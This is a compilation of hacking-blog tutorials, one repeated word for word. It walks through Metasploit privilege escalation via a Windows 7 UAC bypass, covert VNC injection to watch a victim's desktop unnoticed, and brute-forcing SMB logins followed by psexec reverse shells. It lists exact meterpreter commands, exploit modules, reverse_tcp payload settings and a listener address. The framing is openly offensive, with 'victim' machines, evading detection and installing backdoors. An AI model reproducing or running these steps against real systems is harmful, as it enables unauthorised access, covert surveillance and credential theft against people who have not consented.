Bypass UAC and get admin privilege in windows 7 using metasploit

Sometimes when you trying to exploit a security hole and success gain an access to the target system, usually you only act as logged user and it’s not a local system account. In this tips and trick there’s a simple step to escalate your privilege when you’re inside meterpreter.

This picture below taken when hacked successfully gain an access using  Payload create by me.

#meterpreter  >  getuid

When running getuid command, we know that we running as user that already logged in to the system but we didn’t act as system account. How do we do that to escalate our privilege to system account?.

The session only has limited user rights. This can severely limit actions you can perform on the remote system such as dumping passwords, manipulating the registry, installing backdoors, etc.

Fortunately, Metasploit has a Meterpreter script, ‘getsystem’, that will use a number of different techniques to attempt to gain SYSTEM level privileges on the remote system. There are also various other (local) exploits that can be used to also escalate   privileges.

#meterpreter  >  use priv

#meterpreter  >   getsystem

make use of the ‘getsystem’ command, if its not already loaded we will need to first load the ‘priv’ extension.

We will let Metasploit try to do the heavy lifting for us by running “getsystem” without any options. The script will attempt every method available to it, stopping when it succeeds.

There are situations where getsystem fails depending upon the operating system and exploiting method  we are using.

n this above image we are only getting access to normal system user  acount  with less privileges, by executing    post/windows/gather/win_privs command it will list the privilege of the current users logged in.

For this tutorial we are exploiting windows 7 as a victim’s machine and by executing a sysinfo command in your meterpeter shell you will get informations about your exploiting system.

#meterpreter  >   sysinfo

#meterpreter  >     run  post/windows/gather/win_privs

If   the  getsystem  code detects that it is running on a Windows 7 with UAC disabled and it is running as local admin it will run getsystem and it will use the read registry method.

When we executing  getsystem  command  it will fail because the  current logged user have not enough privilege to get admin roles and particularly in windows 7 UAC is defaulty enabled.

So we first try to bypass UAC enabled in windows  7, Luckily we have windows UAC bypass exploit in metasploit.

Meterpreter on Kali no longer recognized “run bypassuac” instead  we had to use exploit/windows/local/bypassuac.

BypassUAC   exploit  that allows you to bypass Windows UAC in Windows Vista and Windows 7 both on x86 and x64 operating systems. This issue has still not been patched to-date and can still be exploited on the most recent operating systems.

For that  we need to background the session, and manually  try bypassuac exploit and load the session recently backgrounded and then exploit and execute  getsystem to get admin privilege.

#meterpreter  > background

#meterpreter  >   search uac

#meterpreter  >   use exploit/windows/local/bypassuac

I exploited this machine with the payload i created before,  so try the  method you used  for exploiting the machine before.

#meterpreter  >   set payload windows/meterpreter/reverse_tcp

#meterpreter  > set   LHOST 192.168.31.20

#meterpreter  > set   LPORT  8080

#meterpreter  >   set   SESSION 1

#meterpreter  >    exploit

After getting acess try getsystem command.

#meterpreter  >  getsystem

Done!

Bypass UAC and get admin privilege in windows 7 using metasploit

Sometimes when you trying to exploit a security hole and success gain an access to the target system, usually you only act as logged user and it’s not a local system account. In this tips and trick there’s a simple step to escalate your privilege when you’re inside meterpreter.

This picture below taken when hacked successfully gain an access using  Payload create by me.

#meterpreter  >  getuid

When running getuid command, we know that we running as user that already logged in to the system but we didn’t act as system account. How do we do that to escalate our privilege to system account?.

The session only has limited user rights. This can severely limit actions you can perform on the remote system such as dumping passwords, manipulating the registry, installing backdoors, etc.

Fortunately, Metasploit has a Meterpreter script, ‘getsystem’, that will use a number of different techniques to attempt to gain SYSTEM level privileges on the remote system. There are also various other (local) exploits that can be used to also escalate   privileges.

#meterpreter  >  use priv

#meterpreter  >   getsystem

make use of the ‘getsystem’ command, if its not already loaded we will need to first load the ‘priv’ extension.

We will let Metasploit try to do the heavy lifting for us by running “getsystem” without any options. The script will attempt every method available to it, stopping when it succeeds.

There are situations where getsystem fails depending upon the operating system and exploiting method  we are using.

n this above image we are only getting access to normal system user  acount  with less privileges, by executing    post/windows/gather/win_privs command it will list the privilege of the current users logged in.

For this tutorial we are exploiting windows 7 as a victim’s machine and by executing a sysinfo command in your meterpeter shell you will get informations about your exploiting system.

#meterpreter  >   sysinfo

#meterpreter  >     run  post/windows/gather/win_privs

If   the  getsystem  code detects that it is running on a Windows 7 with UAC disabled and it is running as local admin it will run getsystem and it will use the read registry method.

When we executing  getsystem  command  it will fail because the  current logged user have not enough privilege to get admin roles and particularly in windows 7 UAC is defaulty enabled.

So we first try to bypass UAC enabled in windows  7, Luckily we have windows UAC bypass exploit in metasploit.

Meterpreter on Kali no longer recognized “run bypassuac” instead  we had to use exploit/windows/local/bypassuac.

BypassUAC   exploit  that allows you to bypass Windows UAC in Windows Vista and Windows 7 both on x86 and x64 operating systems. This issue has still not been patched to-date and can still be exploited on the most recent operating systems.

For that  we need to background the session, and manually  try bypassuac exploit and load the session recently backgrounded and then exploit and execute  getsystem to get admin privilege.

#meterpreter  > background

#meterpreter  >   search uac

#meterpreter  >   use exploit/windows/local/bypassuac

I exploited this machine with the payload i created before,  so try the  method you used  for exploiting the machine before.

#meterpreter  >   set payload windows/meterpreter/reverse_tcp

#meterpreter  > set   LHOST 192.168.31.20

#meterpreter  > set   LPORT  8080

#meterpreter  >   set   SESSION 1

#meterpreter  >    exploit

After getting acess try getsystem command.

#meterpreter  >  getsystem

Done!

Moniter Windows Desktop with VNCJNJECT in Metasploit

Hi guys!
Now i free time, i make tutorial show you "How to Moniter Windows Desktop using vncinject on Metasploit"
Ok, let's go..

VNC jnjection in Metasploit

Using the Metasploit payload for VNC injection, we can also inject a VNC server remotely, and can have the display thrown back to the host system. Users of the target system user will not notice that their display is being shared, though there is a trick—we have to disable the Metasploit courtesy shell which appears on the target system's display. If the courtesy shell is not disabled, then it will show a blue command prompt window at the time of exploitation, as shown in Figure 1. This can warn the users of the target system, and result in attack detection. After disabling the courtesy shell, it will not display the blue prompt, as you can see in Figure 2. VNC injection can also be used when a user is not logged in; in that case, don't bother to disable the courtesy shell.
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Exploit SMB protocol using smb_login module in Metasploit (Modules in Metasploit Part 1)

Validating SMB Logins

When you want to run a scan for a specific vulnerability across a network, Metasploit provide many auxiliary can help you accomplish such tasks.
The following Metasploit modules are just a few examples of many useful auxiliary scanning modules include in the Framework. Take advantage of your lab to probe and explore as many of them as you can.
smb_login in Metasploit
To check the validity of a username and password combination, use the SMB Login Check Scanner to connect to a range of hosts. As you might expect, this scan is loud and noticeable, and each login attempt will show up in the event logs of every Windows box it encounters.
After selectings the smb_login module with use, you can run show options to see the settings listed under the Required column. Metasploit allows you to specify a username and password comnination, a username and password list, ar a combination of either. In the next example, RHOSTS is set to small range of IP addresses and a username and password are configured for Metasploit to try against all addressws.

Options in smb_login module

Exploit target using smb_login module 

You can see successful login with user Administrator and a password of s3cr3t. Because workstations are all cloned from one image and deployed through the enterprise in many corporate environments, the administrator password may well be the same on all of them, granting you access to every workstation on the network.

Thanks for your reading.

Any question!

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Using smb_login and psexec in Matasploit attack any Windows PC

Hi guys!
Today, i make tutorial "Using smb_login and psexec in Metasploit attack any Windows PC".
Les't go...

In tutorial, i using two module "auxiliary/scanner/smb/smb_login" and "exploit/windows/smb/psexec" in Metasploit.
Step1: I using "auxiliary/scanner/smb/smb_login" for brute force attack password victim.
Befor i using smb_logn, i find username for victime (example: username as hostname, or using other solution find username with tool scanner nmap, soft pecfect network scanner Soft Perfect Network Scanner,...).
After brute force attack success, we have username and password of Windows PC.

Brute force password success!

Now, we using module "exploit/windows/smb/psexec" for get shell, vncserver, remote desktop,...

Parameter in psexec module.

We using payload "payload windows/meterpreter/reverse_tcp_rc4" to get shell victim.

We have to set options in module psexe if we want get shell.

Now we run "exploit/run" and enjoy 

We have shell victim :-D

Thereout, we can use payload "windows/vncinject/reverse_tcp_rc4" to get vncserver (remote desktop) victim.

Done!

Good luck guys!!